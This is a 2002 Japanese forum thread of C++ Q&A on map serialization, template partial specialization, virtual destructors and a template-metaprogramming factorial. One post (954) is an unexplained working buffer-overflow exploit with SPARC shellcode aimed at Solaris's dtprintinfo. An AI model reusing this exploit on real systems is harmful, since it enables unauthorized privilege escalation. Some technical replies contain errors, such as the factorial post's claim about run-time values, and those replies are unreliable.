C++相談室 part7

このエントリーをはてなブックマークに追加
>>951
いえ、Delphiです
M$まんせー(TーT)
954デフォルトの名無しさん:02/06/24 23:08
#define ADJUST 0
#define OFFSET 1144
#define STARTADR 724
#define BUFSIZE 900
#define NOP 0xa61cc013

static char x[1000];
unsigned long ret_adr;
int i;

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

main()
{
putenv("LANG=");
for (i = 0; i < ADJUST; i++) x[i]=0x11;
for (i = ADJUST; i < 900; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx\n",ret_adr);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST; i < 600 ; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
x[BUFSIZE]=0;
execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}
トローイ
956デフォルトの名無しさん:02/06/25 00:59
mapを使ったプログラムを書こうとしてるんですけど、
メモリ内にあるデータをぜんぶディスクに書き出したり、逆に読み出したり
するにはどのようにしたらいいのでしょうか。
>>956
ifstream、ofstream、first()、second()、std::map::iterator、begin()、end()
firstとかsecondとかいらない。
普通にfor_eachとかcopyを使って書き出せる
>>958
どーやるの?
fwrite
ostream::write(NULL, 0);
>>943
テンプレートの解釈と処理に関しては、まずコンパイル時に
二段階の手順があると考えると分かりやすいです。
1 部分的特殊化された中からのテンプレートクラスの選択
2 テンプレートパラメータを解釈してクラスを生成

そして2の部分ですが、これはtemplate<class T1, class T2>の
ように、クラス内において使用時までそれが決定されない要素を
記述しておいて、実際に型をもらい受けたらクラスを生成します。
テンプレートクラスにおける未定義の要素を記述する"だけ"だと
考えていいと思います。

で、1ですがこれは943さんが書いている通り、
template<>class<決定済みの型>
と書いてある部分的特殊化されたクラスの一覧から最適なものを選ぶ
わけですが、この選択方法の詳細は正直あまりよく分かってません(w
とりあえず、上の例に照らし合わせて何かいうとしたら、
template <typename T1,typename T2> class B{}; ←(a)
template <typename T1,typename T2> class B<T1,A<T2> >{}; ←(b)
(a)はBの実体化集合の全てを意味します。特殊化されない場合は
このテンプレートクラスが選択されるというわけです。
(b)が意味しているのは二つ目のテンプレートパラメータが、
クラス Aというテンプレートパラメータを一つ受け取る型を受けたときに
選択されるということになります。
具体例としては B<int, A<int> > b; こんな時に選択されます。


上の解釈はいい加減なのでつっこみ待ってます: )
×特殊化されない場合
○特殊化されたテンプレートクラスにマッチしない場合
964962:02/06/25 10:52
ModernC++Designの2.2にはもっと分かりやすい説明がありました(ワラ
関数にはテンプレートの部分的特殊化は適応されないのですが、
それをオーバーロードで代用する方法も載っていて面白いです。
是非一読をお薦めします
965962:02/06/25 13:20
訂正:
汎用テンプレートはなくてもいいみたいです。

template<int>class A{}; ←(a)
tempalte<>class A<3>{}; ←(b)
こういうのもありみたいです(^^;
template<class T>class A{};という汎用テンプレートは
必要ないし、エラーになります!

A<3> a;とすれば(b)が選択されます。
A<3>というケースしか認めないようにしたい場合は
(a)を削除するのではなく(そうするとエラーになる)、
template<int>class A; と(a)変更するればいいみたいです。
(ModernC++Design Page:x より)

テンプレートパラメータが<class T>のように汎化のときには
具体的な型で特殊化。テンプレートパラメータとして
プリミティブ型が指定されているときには、定数値で特殊化。
といった感じでしょうか。


あと紛らわしいのは、
template<template<class>class T>class A{}; という形。
これは汎用テンプレートです。これは特殊化とは関係なく、
テンプレートパラメータとして受取る型を「テンプレートパラメータを一つ
受取るテンプレートクラス」に限定するよう機能します。
<class>とテンプレートパラメータを省略できるのは、
それをクラス内において使用できないことに理由があるみたいです。


引き続きつっこみ待ってます: )
966962:02/06/25 15:09
補足:

当然汎用テンプレートを二つ宣言することはできません。
template<class T>class A{};
template<class T1,class T2>class A{};
template<template<class>class T>class A{};
こういうのは当然エラーです。どれか一つしか使えません。

ただしこれはテンプレートパラメータの数が同じでなくてはいけないという
意味ではないようです。部分的特殊化をする部位において、
汎用テンプレートと同じパラメータ数になっていればOKらしいです。
LokiのFunctorImplが参考になります。
汎用テンプレートにおいてパラメータの個数を、
template<class T1, class T2> (この場合は二個)のようにして指定しますが、
部分的特殊化されたクラスにおいては同様の場所は
パラメータの数が同じである必要はありません。

ただし一つ重要なことにパラメータは部分的特殊化部位
class A<xxx,yyy> において全て使わなくてはなりません。


あと上でテンプレートパラメータのテンプレートパラメータを使うことは
できないと書きましたが、それはある一面においては間違いです。
FunctorImplにおいて、
template <typename R, typename P1, template <class> class ThreadingModel>
class FunctorImpl<R, TYPELIST_1(P1), ThreadingModel>
となっている部分において、P1をクラス内で使うために取り出しています。
もちろん上のThreadingModelのパラメータは使うことはできません。


引き続きつっこみお待ちしております: )_
967デフォルトの名無しさん:02/06/25 17:39
設計に関する質問です。

コンストラクタでメモリをアロケートする様な場合、
それが失敗した場合は例外をスルーするのが一般的でしょうか?
みなさんはどう設計しますか??
>>967
正解です。
スロー
質問するのであります。

デストラクタに関してであります。

なんで、デストラクタは virtual のほうがよいの?

継承後のクラスのデストラクタで、親のデストラクタを呼ぶのじゃだめ???
>>970
そもそも継承後のデストラクタ自体が呼ばれないのでダメ
>>970
virtual宣言されてないと、継承したデストラクタを呼び出してくれないから。
970 の使い方だとたぶん virtual は不要だと思われ。
つか、親デストラクタは勝手に呼ばれます。
>>973
親のデストラクタしか呼ばれないってところに問題があるんじゃないのか。
975デフォルトの名無しさん:02/06/25 18:14
>>970
ヒント 多態
970は多態を知らないので継承したデストラクタも問題なく呼ばれます
継承したオブジェクトからだと問題なく継承先のデストラクタは呼ばれる。

しかし、親のポインタからデストラクタを呼び出した場合、指している先が
継承した子のオブジェクトである場合、virtual宣言されていないと継承先
のデストラクタは呼んでくれない。
>>970
コンストラクタとデストラクタの実行順が問題になる。
コンストラクタは親→子の順で実行される。
コアが最初にできて段々大きくなっていくイメージ。

デストラクタは子から呼ばれる。
段々小さくなっていき最後にはなにもなくなってしまうイメージ。
たまねぎを想像しる。
ところで 950 は次スレよろしく。
終わりで良いよ
982970:02/06/25 20:15
>>975
>>976
多態がやっとわかったきがします。


>>977
ということは、親のポインタを delete した場合のために必要ってことでしょうか?

つまり、親クラスとしてA、子クラスとしてB,Cがあるとします。
子クラスを入れた親クラスのポインタを delete することで、B,Cを区別なく delete できるってことですね。

おかげで、わかりました。
ありがとうございます。
1つ賢くなった!
983aaaa:02/06/25 20:43
nの階乗を計算するプログラムの書き方が分かりません。
誰か頼みます。m(_ _)m
>>983
C++関係ね〜じゃね〜かよ

for 使え。


「多態」ってなんて読むの?
>>985
それで、ポリモーフィズムと読む
>>983
a = pow(b, c);
>>983 C++らしい階乗の求め方はこうやります。但しnは実行時に
わかってないといけないですが。

#include <iostream>
using namespace std;

template <int N>
class Factorial {
public:
enum {value = N * Factorial<N - 1>::value};
};

class Factorial<1>
{
public:
enum {value = 1};
};

int main()
{
Factorial<10> f;

cout << f.value << endl;
}
assert(983 == 988)
>>987が気になる。
>>988
超ガイシュツだし、今更カコワルイ。
しかも、いちいちインスタンス生成してるのがダサ過ぎる。
さらに整数しか扱えないと言うダメさ。
>>990
>>987は恐らく階乗と累乗をごちゃ混ぜにしているのではないかと
小一時間。
>>991
整数以外の階乗の計算方法も超ガイシュツなんですか。とっても知りたい。
>>987と同類か?
整数以外に階乗ってできるのか???
6.392!とか!?
実数の階乗はあるらしい。
>>995
スターリンの公式なんてオチはなしよ。
さあ?ぐぐったら「実数の階乗式もあるらしく」って出てきただけ。
1000!
1000! 
1000!  
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。